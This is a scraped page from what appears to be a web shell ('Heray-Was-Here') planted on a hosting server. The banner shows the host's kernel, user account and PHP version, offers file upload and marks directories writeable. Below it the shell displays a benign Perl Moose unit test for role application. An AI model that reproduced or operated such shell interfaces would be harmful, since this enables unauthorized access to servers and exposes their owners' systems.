Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-Moose/t/moose_util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Moose/t/moose_util/apply_roles.t
use strict;
use warnings;

use Test::More;
use Moose::Util qw( apply_all_roles );

{
    package Role::Foo;
    use Moose::Role;
}

{
    package Role::Bar;
    use Moose::Role;
}

{
    package Role::Baz;
    use Moose::Role;
}

{
    package Class::A;
    use Moose;
}

{
    package Class::B;
    use Moose;
}

{
    package Class::C;
    use Moose;
}

{
    package Class::D;
    use Moose;
}

{
    package Class::E;
    use Moose;
}

my @roles = qw( Role::Foo Role::Bar Role::Baz );
apply_all_roles( 'Class::A', @roles );
ok( Class::A->meta->does_role($_), "Class::A does $_" ) for @roles;

apply_all_roles( 'Class::B', map { $_->meta } @roles );
ok( Class::A->meta->does_role($_),
    "Class::B does $_ (applied with meta role object)" )
    for @roles;

@roles = qw( Role::Foo );
apply_all_roles( 'Class::C', @roles );
ok( Class::A->meta->does_role($_), "Class::C does $_" ) for @roles;

apply_all_roles( 'Class::D', map { $_->meta } @roles );
ok( Class::A->meta->does_role($_),
    "Class::D does $_ (applied with meta role object)" )
    for @roles;

@roles = qw( Role::Foo Role::Bar ), Role::Baz->meta;
apply_all_roles( 'Class::E', @roles );
ok( Class::A->meta->does_role($_),
    "Class::E does $_ (mix of names and meta role object)" )
    for @roles;

done_testing;

Hry